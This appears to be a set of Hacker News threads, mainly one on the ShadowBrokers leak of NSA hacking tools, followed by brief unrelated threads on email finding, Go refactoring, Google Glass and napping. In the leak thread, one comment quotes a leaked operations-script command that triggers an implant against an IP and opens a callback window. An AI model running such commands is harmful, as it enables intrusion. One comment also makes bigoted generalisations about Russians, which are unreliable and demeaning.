Snowden: NSA just lost control of its Top Secret arsenal of digital weapons - <AUTHOR> https://twitter.com/Snowden/status/850766326943690752 <comment><USER3> A good time to remember the official US Intelligence Community statement and policy/lie on 0days, as given post-heartbleed:

        When Federal agencies discover a new vulnerability in commercial
        and open source software – a so-called "Zero day" vulnerability
        because the developers of the vulnerable software have had zero days
        to fix it –  it is in the national interest to responsibly
        disclose the vulnerability rather than to hold it for an investigative
        or intelligence purpose.

[https://icontherecord.tumblr.com/post/82416436703/statement-...](https://icontherecord.tumblr.com/post/82416436703/statement- on-bloomberg-news-story-that-nsa-knew)

[https://news.ycombinator.com/item?id=7575802](https://news.ycombinator.com/item?id=7575802)

<comment><USER4> I've wondered how "zero day" mutated from its original meaning of "pirated software cracked and released on the day of its commercial release" to "a software vulnerability of which the software's maintainers are not yet aware". There doesn't seem to be any connection aside from illicit cracking.

<comment><USER5> Zero day has been used in this context for at least 15 years and means that the vulnerability has been publicly known for zero days, or rather it is an undisclosed vulnerability.

<comment><USER6> The nomenclature of pirated "zero day" cracked (or usually just copied) software releases is at least twenty five years old, but likely older.

<comment><USER7> Wish "1day" would somehow make a comeback. "0day" sounds cooler, of course, but it was a lot easier to find 1day FTP warez sites in the wild than 0day sites.

<comment><USER8> Around the time of the end of my swapping of floppies back in the day, it was getting frustrating as none of the "cool" swappers accepted anything but 0day, and most would be annoyed if you couldn't regularly supply -7 to -14 day releases so they had a week or two to spread things to their downstream contacts before it'd be too stale. In other words a lot of them depended to a large extent on internal leaks... I remember receiving the occasional C64 game that was not even finished by the time it was spread.

<comment><USER4> That's pretty hilarious that they were doing that even before widespread internet. I think a lot of crackers got so caught up in building and maintaining face in their tiny community that they forgot the actual reason they were doing it, i.e. "people want to play video games without paying for them".

<comment><USER8> I think that to a lot of them, this was no different than a sports team or similar - it was a competition, and the games were just a tool.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> Why is everybody posting/curious about the language of the blog post and not the contents of the file?

I've looked through some of the contents.. Some look incredibly old, but others target odd things.. lots of cPanel. My only guess is take the low hanging fruit to build "jump box" type systems?

Some odd examples: ElegantEagle/toffeehammer.. focuses on cgiecho for RCE. The thing is, a CVE was just released for this case maybe a month ago?: [http://www.cvedetails.com/cve/CVE-2017-5613/](http://www.cvedetails.com/cve/CVE-2017-5613/)

So if this dump was from 2013, why did the CVE recently pop up? Or is that coincidence?

<comment><USER10> Many people may not be technically savvy enough to understand the contents of the file, but everyone is interested in who the author is. In fact, these exploits are rather old, but the identity of ShadowBrokers is fresh.

And the idea that you can figure out where someone is from by analyzing their written text is as fascinating as doing the same to their code.

<comment><USER11> > the idea that you can figure out where someone is from by analyzing their > written text

That idea is quite well known, so it's likely that the post was written like that deliberately. I was just wondering if you could create a similar sounding post with a chain of people rewriting the original in their own words.

</comment></comment></comment><comment><USER12> It's pretty fascinating to read the Shadow Broker's posts. They have to write something, since they can't just say "I work for Russia and we're reminding America that they're not invulnerable." So they have to come up with all sorts of contrived reasons about why they're doing this, complete with broken english to fool stylometry detection that walks the fine line between being believable and preposterous. Someone spent a lot of work getting it to look so terrible.

<comment><USER13> As a Russian myself, I can tell you with certainty that there are mistakes in that text that a Russian ESL speaker would never make, and verb tenses are a bit too good for an unskilled speaker. Due to the combination of these two factors, I bet this was written by a native English speaker who thinks he/she knows the mistakes a Russian would make. They're wrong.

<comment><USER14> Just seems like general obfuscation to me. It would be very weird for anyone to make assumptions about their identity based on broken english.

<comment><USER15> While I get your wider point, I find the different types of mistakes that ESL'ers with different mother tongues make absolutely fascinating.

I've noticed, say, that in Poland, where the native tongue lacks articles, people regularly mess up "the" and "a," or miss them altogether. I've never met a French person with the same issue, for obvious reasons.

When I started looking into people's mistakes with tenses in English - <USER2> god, so much about my native tongue that I had no idea about, and yet made particular nationality error combinations really stand out. It's crazy fun.

Edit: and I love my eldest's progress with English. While she's basically a bilingual preschooler, she tends to speak English with polish word order: _I like cars red_. Her natural instinct is to also use the polish rules for nouns when choosing he/she/it. It's an absolutely fascinating process I feel privileged to observe.

<comment><USER16> > I like cars red

Interestingly, that word order is also valid English, though it has a slightly different meaning than "I like red cars".

Example: "I like [my] soup warm".

"I like soup warm, but you can eat it cold and left over if you want."

"I like having soup warm"

"I like my cookies freshly baked"

"I like men muscular and toned"

"I like my women blonde, so you can go for the brunette"

"I like cars red" doesn't quite work as well but doesn't seem wrong. Add a little context and it seems more normal. "As a buyer of many sports cars, I like my cars red, even despite the speeding tickets I get".

Perhaps a linguist could explain how this phrasing works.

(That said, of course I advocate teaching her to speak fluently and to use that word order only when she intends its subtlety of meaning.)

<comment><USER17> I think it is a short hand slang for "I like cars painted red." or "I like cars colored red."

<comment><USER18> I think it's short for "I like for cars to be red."

</comment></comment></comment></comment></comment></comment></comment><comment><USER19> He goes on to further state:

"Quick review of the #ShadowBrokers leak of Top Secret NSA tools reveals it's nowhere near the full library, but there's still so much here that NSA should be able to instantly identify where this set came from and how they lost it. If they can't, it's a scandal."

</comment><comment><USER20> Asking a president to do x,y or z by making this type of public statement probably implies it's geared towards the immediate readers and not some leader that might read it.

The security agencies might have made a lot of enemy over the years so it's not clear who benefits from this. Either financially or as ego boost.

The internet is definitely bigger that what most people might have predicted 20 years ago. So its not really a big surprising to see as much or even more power struggle than in real world battle fields.

Since every side has a propaganda to peddle, I, personally can draw no reasonable or coherent conclusions on what type of decisions are shaping the world I live in. But I am nonetheless curious to see how this all plays out in the coming years.

There is a related post on HN about this. [0]

\</comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>---

[0] [https://news.ycombinator.com/item?id=14066596](https://news.ycombinator.com/item?id=14066596)

<comment><USER21> The cynical and conspiracy theory believing person might suspect that regardless of all the reasons stated for the release the last one, namely the attack in Syria, is the only one that actually prompted this.

I don't necessarily subscribe to the whole "Russia is controlling everything" line (there still so much that's unknown for sure), but it sure is easy to see a connection between Trump launching missiles against Syria which is supported by Russia, and with an embarrassing and costly release of secret information belonging to the security apparatus in the U.S. by what many people say is a front for the Russian security apparatus. Whether that connection is really there is another thing, but that narrative sure is easy to follow.

<comment><USER22> > [..] with an embarrassing and costly release of secret information belonging > to the security apparatus in the U.S. by what many people say is a front for > the Russian security apparatus.

I have difficulties interpreting your statement. Are you implying US security services are "a front for the rudsian security apparatus"?

<comment><USER21> No, I'm stating that some people have accused the shadow brokers and other hackers that have released U.S. assets of actually being fronts for Russia.

</comment></comment></comment></comment><comment><USER23> Can someone remind me why Snowden would be in a position to comment on if this release comprises a full or partial set of hacking tools? Specifically, does this imply that his cache of data included a list of these tools, or was his day to day job one such that he would have been normally in contact with this toolset?

<comment><USER24> > Can someone remind me why Snowden would be in a position to comment on if > this release comprises a full or partial set of hacking tools?

I wouldn't interpret that that tweet as "lost control of its _full_ arsenal". It seems that say that, but then it's a tweet and length-limited. Maybe let's just wait until a more nuanced analysis surfaces?

<comment><USER23> It's further down in the thread: "Quick review of the #ShadowBrokers leak of Top Secret NSA tools reveals it's nowhere near the full library ..."

<comment><USER23> Replying to self because I just got around to watching the movie.

In his final days before the leak Snowden was part of the counter espionage cyber division as an NSA contractor. He was actively hacking and preventing hacks from China. These might not be part of the toolset he used, but its reasonable to believe he would have been aware of them and had access to them.

<comment><USER25> I disagree with this. These tools appear to be for information collection, not offensive cyber operations.

</comment></comment></comment></comment></comment><comment><USER26> Obviously, Perl is the NSA top language choice due to it's built in support for obfuscation and job security.

<comment><USER27> Sure.

It couldn't be because perl is installed by default on all of the target platforms. Practicality trumps conference talks when there's work to be done, even in the government.

<comment><USER14> I know it's not the HN norm, but I believe the parent was making a joke

<comment><USER28> A joke? On _my_ Hacker News?

</comment></comment></comment></comment><comment><USER29> The content reads pretty clearly like a native English speaker imitating immature hacker-speak. It comes across as if it were written by a script- kiddy; that may be intentional.

<comment><USER30> NONE of you guys read poetry? This is a bend on "America", by Ginsberg. All coding and no poetry makes Jack a dull boy. Read it.

<comment><USER31> Care to elaborate on this? (No, I don't read poetry but I'm curious about the connection)

<comment><USER32> To elaborate: [https://www.poetryfoundation.org/poems-and- poets/poems/detai...](https://www.poetryfoundation.org/poems-and- poets/poems/detail/49305)

</comment></comment></comment></comment><comment><USER33> Looking through some of the code and some of the docs, these look old. In absence of a lot of time or some missing docs, not sure how usable these things are.

<comment><USER34> In the article pointed out by Snowden: [https://www.nytimes.com/2016/08/17/us/shadow-brokers-leak- ra...](https://www.nytimes.com/2016/08/17/us/shadow-brokers-leak-raises- alarming-question-was-the-nsa-hacked.html) they state that the stolen code is from 2013 and Snowden was quoted in Wikipedia saying "circumstantial evidence and conventional wisdom indicates Russian responsibility".

To me it seems impossible that non-state-sponsored hackers would have gotten their hands into top secret NSA hacking tools. If I'd have guess it would seem that TheShadowBrokers are "useful idiots" that Russia gives information in the way they did (probably) with Wikileaks. The real question is why would anyone leak these files at this very moment? Did it take this long to get angry at Trump or are there some others factors at play?

<comment><USER35> > To me it seems impossible that non-state-sponsored hackers would have gotten > their hands into top secret NSA hacking tools.

About as impossible as the Snowden exfiltration, so that makes it entirely believable.

All it takes is _one_ rogue employee or plant. And if you don't want to burn an inside asset it would pay off to release files that are several years old.

<comment><USER36> Releasing several year old files is signalling. "Next time it may include your zero-days". Remember the previous threats?

> What this have do with fun Cyber Weapons Auction? We want make sure Wealthy > Elite recognizes the danger cyber weapons, this message, our auction, poses > to their wealth and control. Let us spell out for Elites. Your wealth and > control depends on electronic data. You see what "Equation Group" can do. > You see what cryptolockers and stuxnet can do. You see free files we give > for free. You see attacks on banks and SWIFT in news. Maybe there is > Equation Group version of cryptolocker+stuxnet for banks and financial > systems? If Equation Group lose control of cyber weapons, who else lose or > find cyber weapons? If electronic data go bye bye where leave Wealthy > Elites? Maybe with dumb cattle? "Do you feel in charge?"

[https://web.archive.org/web/20160815152123/https://github.co...](https://web.archive.org/web/20160815152123/https://github.com/theshadowbrokers/EQGRP- AUCTION)

</comment></comment></comment></comment><comment><USER37> Nicholas Weaver: "Overall, though, it looks like the auction file from Shadow Brokers is mostly a bust, better stuff in the free file."

[https://twitter.com/ncweaver/status/850797548717481984](https://twitter.com/ncweaver/status/850797548717481984)

the grugq: "Calling it now: the first ShadowBrokers dump was an expensive signal. This latest one was not (expensive, that is.)"

[https://twitter.com/thegrugq/status/850825305845399552](https://twitter.com/thegrugq/status/850825305845399552)

<comment><USER38> What does "expensive signal" mean in this context?

<comment><USER39> He expands in his Medium post from last year, here: [https://medium.com/@thegrugq/the-great-cyber-game- commentary...](https://medium.com/@thegrugq/the-great-cyber-game- commentary-2-33c9b79ca8ac)

</comment></comment></comment><comment><USER40> From the Medium post linked ([https://medium.com/@shadowbrokerss/dont-forget- your-base-867...](https://medium.com/@shadowbrokerss/dont-forget-your- base-867d304a94b1))

\- Don't care if you swapped wives with Mr Putin, double down on it, "Putin is not just my firend he is my BFF".

\- Don't care if the election was hacked or rigged, celebrate it "so what if I did, what are you going to do about it".

This has got to be a fake group trying to discredit Trump right? I don't like him or what he's doing, but surely surely his supporters don't subscribe to at least the latter view there?

<comment><USER14> > surely surely his supporters don't subscribe to at least the latter view > there?

You must not have very many conservative friends on Facebook. "Russia didn't write the emails" has to be one of the most popular memes of the last 6 months.

<comment><USER41> How is that a "meme"?

I don't know any conservatives but every single leftist I know thinks that russophobia is at absolutely deranged levels, as a vehicle for Clinton apologism.

The idea that "Russia decided the election" is absurd, but repeated often enough, is starting to be taken as truth by those who find it palatable.

<comment><USER42> If Hillary Clinton didn't have such high unfavorables it wouldn't have been a contest. If Bernie hadn't siphoned off some of her support it wouldn't have been a contest. Russian meddling and Comey's last-minute maneuver definitely cost her the election, but only by swinging the vote less than 1% in a few key states.

I don't think Putin seriously believes he can control US elections and probably recognizes this as a one-off lucky break.

The whole point for him is the PR value: having Trump claim elections are rigged is pure PR gold for Putin. Having Trump claim protesters are paid Democratic shills (rather than real people who don't like him) is Putin cover. He gets to point at those words and say "see, it's the same everywhere". It gives Putin supporters cover to believe his lies and it takes the wind out of the sails of Putin's detractors.

My guess is Putin's original plan was to take advantage of Trump claiming he _lost_ due to election rigging but we'll probably never know.

<comment><USER43> > _If Hillary Clinton didn 't have such high unfavorables it wouldn't have > been a contest. If Bernie hadn't siphoned off some of her support it > wouldn't have been a contest._

How about if Hillary simply picked Bernie as VP? Is there anyone here that thinks she wouldn't have won on that decision alone? Don't blame Bernie supporters (I am not one, to be clear), why should they walk a mile to Clinton's positions when Clinton herself won't even make the most modest concessions to their side?

<comment><USER44> Hillary was pro-war, only half-ass wanted a minimum wage hike, pro free trade agreements, pro fracking, and said Single Payer was never happening. I honestly don't understand why any liberal would have voted for her.

<comment><USER43> Right, I would have never voted for her, and not saying that she would have been any better with Sanders, but I think it's very likely she would have won.

</comment></comment></comment></comment></comment></comment></comment><comment><USER45> More context: [https://en.m.wikipedia.org/wiki/The_Shadow_Brokers](https://en.m.wikipedia.org/wiki/The_Shadow_Brokers)

<comment><USER46> Non-mobile: [https://en.wikipedia.org/wiki/The_Shadow_Brokers](https://en.wikipedia.org/wiki/The_Shadow_Brokers)

</comment></comment><comment><USER47> A lot of the scripts appear to have been written by the same person, or is that just me reading into it? They have a distinct comment style in both Python and Perl.

Also, a lot of the tools appear to instruct people to paste various things in to them. I find it unlikely that a single person wrote all the tooling for the NSA, but, who knows.

<comment><USER48> I noticed the same thing. And it's very informal, which surprised me. Would have expected this kind of documentation to be pretty dry.

</comment></comment><comment><USER7> > "NSA just lost control of its Top Secret arsenal of digital weapons"

This is just inaccurate, or at least purposefully misleading. The NSA did not just lose control of its "Top Secret arsenal of digital weapons".

They "lost control" of mainly a bunch of old exploits whose release will not matter because anyone who is running this old junk won't be updating their servers because of this news.

</comment><comment><USER49> I don't know anything about the value of this crap, but I do find it interesting to grep through looking at the IPs (which I presume are compromised machines from which they are initiating attacks). See `./bin/pyside/targets.py`

<comment><USER50> 18.104.22.168 - [http://ihep.ac.cn/](http://ihep.ac.cn/) \- Chinese Academy of Sciences High Energy Physics

220.127.116.11 - [http://utc21.co.kr](http://utc21.co.kr) \- Korea

from: [https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript...](https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript.txt#L728)

#### JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) ####

### Local window, let this sit and wait: ourtn -T 220.127.116.11 -n -I -ue -O 113 -p 443 -C 220.127.116.11 127.0.0.1

### on PITCH: set up window for nopen callback -nrtun 113

</comment></comment><comment><USER51> I haven't read enough broken English to take a gander at what the native language is for the authors of that...manifesto. Anyone have a good guess? There's some pretty common mistakes throughout ("peoples" for people, "Americans' having" for "Americans have").

<comment><USER52> Most likely an American trying to write in an Eastern European accent.

<comment><USER53> Yeah, it's so over the top that it reads like a native English speaker's intentional obfuscation.

<comment><USER45> I immediately thought of the "Opulence, I has it" commercials from DirecTV.

</comment></comment></comment></comment><comment><USER54> This stuff looks old. There are versions for Solaris and SCO Unix.

<comment><USER55> > $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

[https://github.com/x0rz/EQGRP/blob/master/Linux/bin/xp_phpbb...](https://github.com/x0rz/EQGRP/blob/master/Linux/bin/xp_phpbb.pl#L62)

<comment><USER56> There is at least one very large bank (which I won't name) who is unable to move off ie6 for some internal apps which to my knowledge are still using this in some backoffices even today.... At least two years ago they were paying Microsoft less money than a rewrite would cost to support it so it kind of makes sense....

I only found that bad boy out after disabling some ciphers on some loadies which broke a lot of their stuff....

</comment></comment></comment><comment><USER57> I wonder what this is for: [https://github.com/x0rz/EQGRP/blob/master/Linux/bin/strangeF...](https://github.com/x0rz/EQGRP/blob/master/Linux/bin/strangeFiles.py)

It looks like it's searching for files/directories with unusual names (like ". ") that system administrators wouldn't normally notice.

<comment><USER58> I remember (probably around 10 years ago) of a compromised server with a couple of strange files ". " and ".. ". After looking into it I realized that they were a ftp server and a process name changer. I would say your guess is correct, this script is probably used to spot weird file names which would pass unnoticed with a simple "ls".

</comment></comment><comment><USER59> I have a bit of a hard time understanding why so many people think this is written by Russians. Obviously the grammar is not correct, but it would seem very strange to think this has any significance, and it seems more plausible that it was done in an attempt to hide the authors identity. (My spontaneous feeling was that it was written by Jar Jar Binks, and not Russians, for whatever that's worth.)

I'm not from the US and have not followed the news from there recently, but from what little I have seen much of the actual contents of the message does seem to reflect the feelings of Trumps "base"? Or would people more familiar with US politics say this is incorrect?

</comment><comment><USER60> Is there any doubt the Shadow Brokers are Russian and working for Russian interests? The timing of releases, international events concerning both countries and pointed measures are far too suspicious to be considered circumstantial.

<comment><USER61> Sure, but that's what someone would do if they were trying to implicate Russians.

<comment><USER62> Maybe they knew we'd think it odd for Russians to speak with a Russian accent so they did it anyway to trick us.

"Are you the sort of man who would put the poison in his own goblet? Now a clever man would put the poison into my goblet, because he would know that only a fool would drink the goblet given to him. I am not a fool, so clearly you wouldn't do that. But you must have known that I was not a great fool, so I mustn't drink from the wine in front of me!" [0]

[0] [https://www.youtube.com/watch?v=U_eZmEiyTo0#t=1m20s](https://www.youtube.com/watch?v=U_eZmEiyTo0#t=1m20s)

<comment><USER61> Yeah, pretty much. Except no poison drinking was involved here. Unless it was the NSA that did it. And of course, this was all old stuff, so it wasn't really very poisonous.

But really, really, really. There's just no way to know.

<comment><USER63> Who else, besides Russia, plays these spy games with the US?

<comment><USER61> North Korea, China and Israel come to mind. Also many independents. And the US probably plays with itself.

</comment></comment></comment></comment></comment></comment><comment><USER64> Likely a response to the Syrian airbase tomahawking from a couple of days ago?

Russians are known for what they themselves call "asymetrical answers", so this seems to fit the pattern.

<comment><USER17> Honestly though, how does leaking tools from the NSA whom Trump was suspicious of just a few weeks ago constitute an attack against him?

</comment></comment><comment><USER65> Like others are saying, there's a mismatch between the overall sentence structure and progression - which strikes me as more native - and the mistakes. I don't buy the verb misconjugation especially, a Russian ESL learner at that level would get that right more often than not.

Source: many conversations with Russians learning English (also near-native Russian)

</comment><comment><USER66> Excuse me while I just...

ALLL RIIIIGHT!!

Not because I'm especially interested in the tools (although, granted, I have not had a look at any of them yet), but because I always wished this could be given to everyone.

Also, for a moment there, I was concerned 7z was insecure and that the passphrase had been bruteforced. Apparently not! Very nice.

</comment><comment><USER26> Regardless of the source, full disclosure works. Whomever is responsible for releasing this material is also improving computer security for _everyone_. Thank you.

</comment><comment><USER67> All of this spy vs spy intrigue makes my head hurt

</comment><comment><USER68> Given the latest world events, I've personally come to realise that security agencies play an important role in keeping us safe, from external entities or from ourselves.

This is disaster in my (current) opinion. We tend to dismiss the work the likes of NSA do, not thinking much about what would happen if they didn't do it. Snowden categorically dismissing anything that NSA does, just means he's a deluded idealist, much like I used to be.

<comment><USER69> > Snowden categorically dismissing anything that NSA does

That's not representative of Snowden's opinion at all. From the beginning he's always stated he believes in the mission of the intelligence agencies. Heck, he used to work for one.

"I am not trying to bring down the NSA, I am working to improve the NSA" [0]

[0] [https://www.washingtonpost.com/world/national- security/edwar...](https://www.washingtonpost.com/world/national- security/edward-snowden-after-months-of-nsa-revelations-says-his-missions- accomplished/2013/12/23/49fc36de-6c1c-11e3-a523-fe73f0ff6b8d_story.html)

</comment></comment><comment><USER70> shadowbrokerss remind me of this guy:

[https://www.youtube.com/user/FPSRussia](https://www.youtube.com/user/FPSRussia)

100% American from Georgia, sometimes loses Russian accent and slips into perfect English:)

</comment><comment><USER71> "We voted for you, comrade. Here is old malware from deepnet kiddy porn site post for to confuse."

Could be Russia pissed about puppet twitching without permission, or could be Bannon (via Cambridge Analytics?) pissed about puppet twitching without permission.

Twitch, puppet, twitch!

<comment><USER72> If it's twitching without permission, it's not a puppet.

</comment></comment><comment><USER33> ElegantEagle. nice

<comment><USER56> No code though?

</comment></comment><comment><USER73> ShadowBroker's blog posts always crack me up

<comment><USER74> [http://pan.webis.de/clef17/pan17-web/author- obfuscation.html](http://pan.webis.de/clef17/pan17-web/author- obfuscation.html)

<comment><USER73> Yes, I'm aware, or, I speculate that ShadowBrokers are utilizing this to unduly burden Eastern Europeans, Russians and Chinese hackers

but really, asymmetric information is asymmetric. We just don't know.

But now we can speculate that they are American citizens, with their mention of voting for the US President.

<comment><USER75> They could also just lie to gain support from impressionable readers and/or disgruntled Trump voters.

</comment></comment></comment></comment><comment><USER76> remember that 1000s of paid russians were used to interrupt our election on sites like reddit. wouldn't be surprised if a few leaked to this site. especially with green accounts.

<comment><USER77> > _remember that 1000s of paid russians were used to interrupt our election on > sites like reddit._

Or so a 2017 version of the "red scare" goes, so that the military industrial complex can sell more weapons and more "safety", and the fingers can keep being pointed at some enemy or another. That way their budgets get approved, some poor countries pay the toll (who cares anyway), and they might even be able to plunder them afterwards. Worked wonders the last 30+ years.

Not to mention that the US sponsors tons of NGOs, magazines, organizations, events, political parties, etc, with favorable views to its interest all over the world, and has done that none stop since at least WWII, meddling with elections, paying journalists, etc -- and when nothing else works.

<comment><USER76> ahhh..... whataboutism[0]. classic russian tactic.

[https://en.wikipedia.org/wiki/Whataboutism](https://en.wikipedia.org/wiki/Whataboutism)

<comment><USER77> Confirmation bias: classical lalala-hands-in-the-ears-denial tactic. Also, not a Russian. Tinfoil much? Besides I'm not the one who opened an account here a mere few months ago. I'm a regular on HN for 5+ years.

Now, regarding the accusation of "whataboutism", I found that it's the stupidest of knee-jerk responses. It makes looking at all sides look like some kind of error.

"Yeah, my side can kill, invade, meddle with others, bully, strong-arm, etc as it sees fit. But if your side does 1/10th of those things even when its justified, or even if I just accuse you falsely of doing them and you dare to point out that it's actually my side doing those things and worse, then I call out your whataboutism".

Instead of putting things into perspective, examining their history, the causes, the role of different players, people point the finger to a single direction (seldom to their own side's and rarely to the biggest offender), and when called out on it and get reminded of the greater state of affairs they go "oh, that's whataboutism".

</comment></comment></comment></comment><comment><USER78> Looks like bullshit. It does not match the vault7 leak, which is supposed to be from the very same NSA.

It is Russians. The classic example of Dunning Kruger effect. In a generally low IQ environment and primitive criminalized cultural environment they truly believe that what is enough to fool everyone around them, including the bosses (who are supposed to be really smart), will surely fool everyone else.

This is the phenomenon of negative selection of a cancer-like corrupted society (which ran for a three decades already) at work. They are literally decades behind of the technological progress and culture of the modern civilization.

They simply have no idea of what possible level of intelligence and sophistication could be found in places with decades of consistent high-IQ- based selection, like companies staffed with top 5% of MIT/Standford/Caltech/Berkeley graduates and what this kind of organization could do (think of Apple, Google, etc).

A high-tech US govt agency would never had such a crap in their folders. They are not a bunch of disconnected from reality, overconfident, self-deluded with their own primitive propaganda Russian punks.</comment>


Open-source email finder – Find anyone's email for free - <AUTHOR> http://blog.thebigpicture.io/open-source-email-finder/ <comment><AUTHOR> Note: Link is to our blog post discussing the project. The link to the Github repo is near the bottom of the post.</comment>


Ask HN: What are you working on and why is it awesome? Please include URL - <AUTHOR> <comment><USER2> What if it doesn't have a url?

</comment><comment><USER3> [https://merit.world/](https://merit.world/) ... because it will kill capitalism. Eventually. (but first it will fix FOSS)</comment>


Gorename: easy refactoring tool for Golang - <AUTHOR> https://texlution.com/post/gorename/

<comment><USER2> Note that Go comes with a powerful refactoring tool "out of the box":

[http://golang.org/cmd/gofmt/](http://golang.org/cmd/gofmt/)

It allows easy renaming of variables, constants etc.

<comment><USER3> Does it also extract methods, convert fields into accessors, move code between packages while updating import statements, update comments that relate to code, move methods across types?

Renaming is only Refactoring 101.

</comment></comment><comment><USER4> at first i've read it as 'gore-name'... not the nicest thing

<comment><USER5> It's no expertsexchange. I wouldn't bother changing it.

</comment></comment><comment><USER6> So how about the objections in [https://news.ycombinator.com/item?id=8579893](https://news.ycombinator.com/item?id=8579893)

<comment><USER7> This person is just wrong. It's not because the tools weren't there or the commenter was unaware of how they work, that Go is bad at refactoring. It's very easy to write correct, type safe refactoring tools on Go code.

</comment></comment><comment><USER8> Now for IDE integration. Please!

<comment><USER9> vim-go integrates with it already. Put your cursor on a name, type :GoRename, et voila all other instances across your project are updated.

<comment><USER8> But then I'd have to use Vim :(</comment></comment></comment>


Google Glass Picks Up Early Signal - Keep Out - <AUTHOR> http://www.nytimes.com/2013/05/07/technology/personaltech/google-glass-picks-up-early-signal-keep-out.html <comment><USER2> In the last part of the article, there's a mention of the Adria Richards fiasco:

 _"There is another side to this story," he wrote on a hacking site, saying it was barely one lame sexual joke. "She gave me no warning, she smiled while she snapped the pic and sealed my fate," he complained._

The "hacking site" that's linked to? HN. [1]

[1] <https://news.ycombinator.com/item?id=5398681></comment>


How to nap: Power napping without sleeping - <AUTHOR> http://danieltenner.com/posts/0017-how-to-nap.html <comment><USER2> "The painter Salvador Dali used to employ the following trick to have the best nap ever:

Hold a coffee spoon (or something else—use your imagination) in your hand.

Sit and relax on a comfy couch or chair with your arm hanging.

When you go into deep sleep (after about 20-30 minutes) your hand will relax and release the spoon, and the sound of the spoon falling will wake you up.

That is the perfect timing for the best nap ever."

[http://www.lifehacker.com.au/2009/08/from-the-tips-box- coffe...](http://www.lifehacker.com.au/2009/08/from-the-tips-box-coffee-spoon- naps-grocery-shopping-with-access/)

<comment><USER3> Dali didn't do that to get "the best nap ever." He did this to sleep just enough to get some hypnagogic images to use in his art. He never claimed it improved the quality of the nap itself. And why would it?

</comment></comment><comment><USER4> _I will lie in bed, awake, forever thinking and rethinking whatever happens to be on my mind at the time._

That was me until I got some earphones and went to bed listening to podcasts every time. Having another voice chattering away (which I can ignore) stops _my_ inner voice (which I can't ignore) chattering away. Works a treat.

<comment><USER5> You're lucky that you can do that! I've never been able to sleep with a voice speaking nearby. I don't think I've ever fallen asleep while watching a movie, ever, for example. Even after a big night out, exhausted, wanting to sleep, I had to go and switch off the TV to be able to fall asleep.

<comment><USER4> _You're lucky that you can do that! I've never been able to sleep with a voice speaking nearby._

Yeah, but the problem is if I don't, I have a voice _in my head_ talking instead. Literally, my internal voice is "talking" in my head non-stop all day coming up with ideas, figuring out what to do, complaining about crap, etc. Perhaps it's a mental illness but I never considered it a problem (yet). :-)

<comment><USER5> Oh, so do I. But if I have the voice outside my head, that also keeps me awake. The voice inside my head eventually tires out or drifts off, but the voice coming out of the TV is infatigable. It keeps going all night.

<comment><USER4> I must just have inherited my dad's skill. My mom used to have entire conversations with my dad and he'd admit afterwards that he "hadn't been listening" and couldn't answer a single question about it. I do the same with my wife.. oops.

<comment><USER6> I used to go into work and have the operations staff thank me for solving last night's problem and have no idea what they were talking about: seems I can perform perfectly rational problem-solving when answering the telephone in my sleep.

</comment></comment></comment></comment></comment></comment><comment><USER7> I frequently evoke envy in people with my ability to nap virtually anywhere - airports, trains, arms folded across knees with head resting on arms, noisy living rooms, whatever. (I don't get sleepy at work usually, I have too much to do).

My method: first, only works if sleepy, or if conscious that sleep is really necessary. Second, obviously, avoid stimulants pre-nap. Third, get in a position where your head won't flop around if when you fall asleep. Then, with eyes closed, imagine your consciousness as a sphere - sort of like the world of wakeful attention. And then mentally, push that sphere away, distancing oneself from conscious thought. Finally: wake up 20 minutes later.

I have no idea if that will actually help anyone, but it works for me every time, with no gadgets, masks, whatever. I think the key is the ability to mentally distance oneself from conscious attention. If you can let the world slip away, you will fall asleep.

<comment><USER8> I have a similar system, I imagine myself in an elevator going down and as it goes down I fall asleep. Before finding this system, I would need at least an hour to fall asleep.

I think it works by quieting my internal voice and giving an image to the process of going to sleep.

</comment></comment><comment><USER9> I taught myself to nap almost anytime anywhere with one little secret: a Mindfold relaxation mask.

<http://www.mindfold.com/>

The only thing I've ever found that provides total darkness in any condition with my eyes wide open. Combine it with a neck pillow and the right track on my ipod and I have a poor man's sensory deprivation chamber. A couple of deep breaths and the next thing you know, it's 20 minutes later.

<comment><USER10> In my experience, a good sleep mask makes napping during the day much easier. It'll also help with falling asleep at night in rooms that aren't as dark as they could be. And if earplugs don't bother you, combine them with a sleep mask, and you'll be able to nap anywhere.

There's a world of difference between $3 drugstore sleep masks and more expensive ones, in terms of comfort as well as light-blocking ability. I've been quite happy with Bucky brand sleep masks. They're available on Amazon along with a number of other masks in the $10-$15 range (including the Mindfold).

</comment></comment><comment> loup-vaillant Before this article does collateral damage: <http://www.supermemo.com/articles/polyphasic.htm>

Acording to this, polyphasic sleep is a good technique when you can't afford to sleep much. Good in some extreme survival situations, like solo sailing. However, it is unnatural, and still leaves you in a sleep deprived state. Not good for everyday life. Even worse if you have to be creative.

One single nap just after lunch, however, is natural and good.

<comment><USER11> Rebuttal to aforementioned article: [http://www.puredoxyk.com/index.php/2006/11/01/an-attack- on-p...](http://www.puredoxyk.com/index.php/2006/11/01/an-attack-on- polyphasic-sleep/)

<comment><USER12> Also here's a 5-1/2 month trial of polyphasic sleep - <http://www.stevepavlina.com/blog/2005/10/polyphasic-sleep/> . This is the first entry, but he went back and added links to all of his posts about polyphasic. I am trying it, or attempting to - I am having trouble getting to sleep quickly enough, then having trouble getting up and not over-sleeping.

</comment></comment></comment><comment><USER13> Did anyone else try the pzizz example tracks after reading this? I was suprised at how quickly I started sinking into wooziness! $40 is kind of a lot for napping software, but I may have to check out some of the free binaural beat apps.

<comment><USER5> Back in the days, you could download the sample tracks. I'm sure with a bit of rummaging around the HTML, that's still possible - those are just standard Flash mp3 players, I think.

I actually stayed on the sample tracks for about a week when I started. By the 10th time you listen to the same track, though, it gets _really_ tedious.

Btw, you have to listen to them with earphones to get the proper effect (which you probably did, but worth noting).

<comment><USER14> [http://www.pzizz.com/wp- content/uploads/audio/Default%20Slee...](http://www.pzizz.com/wp- content/uploads/audio/Default%20Sleep%2001.mp3)

<comment><USER5> The energizer one was the one I used for napping, rather than the sleep one, fyi.

<comment><USER14> OK then:

[http://www.pzizz.com/wp- content/uploads/audio/Default%20Ener...](http://www.pzizz.com/wp- content/uploads/audio/Default%20Energizer%2001.mp3)

